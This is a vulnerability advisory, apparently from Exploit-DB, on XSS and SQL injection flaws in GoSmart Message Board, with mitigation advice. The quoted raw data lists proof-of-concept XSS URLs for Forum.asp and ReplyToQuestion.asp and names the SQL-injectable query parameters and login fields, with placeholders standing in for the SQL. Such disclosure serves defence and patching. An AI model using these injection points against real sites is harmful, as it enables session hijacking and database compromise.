GoSmart Message Board Input Validation Vulnerabilities

vendor:

GoSmart Message Board

by:

7.5

CVSS

HIGH

Cross-site Scripting (XSS), SQL Injection

79 (XSS), 89 (SQL Injection)

CWE

Product Name: GoSmart Message Board

Affected Version From:

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

GoSmart Message Board Input Validation Vulnerabilities

The GoSmart Message Board is prone to multiple input validation vulnerabilities that allow a remote attacker to carry out cross-site scripting (XSS) and SQL injection attacks. These vulnerabilities occur due to insufficient sanitization of user-supplied data.

Mitigation:

To mitigate these vulnerabilities, it is recommended to implement proper input validation and sanitization techniques. Additionally, using parameterized queries or prepared statements can help prevent SQL injection attacks.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/11361/info

GoSmart Message Board is reported prone to multiple input validation vulnerabilities. These issues may allow a remote attacker to carry out cross-site scripting and SQL injection attacks. The cause of these issue is insufficient sanitization of user-supplied data.

Cross-site scripting:
/messageboard/Forum.asp?QuestionNumber=1&Find=1&Category=%22%3E%3Cscript
%3Ealert%28%29%3C%2Fscript%3E%3C%22

/messageboard/ReplyToQuestion.asp?MainMessageID=%22%3E%3Cscript%3Ealert%
28%29%3C%2Fscript%3E%3C%22

SQL injection:
messageboard/Forum.asp?QuestionNumber=[SQL CODE HERE]&Find=1&Category=1

messageboard/Forum.asp?Username=&Category=[SQL CODE HERE]

messageboard/Forum.asp?QuestionNumber=[SQL CODE HERE]&Find=1

messageboard/Forum.asp?Category=[SQL CODE HERE]

POST /messageboard/Login_Exec.asp HTTP/1.1
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 29

Username=[SQL CODE HERE]&Password=1&Login=1


POST /messageboard/Login_Exec.asp HTTP/1.1
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 29

Username=1&Password=[SQL CODE HERE]&Login=1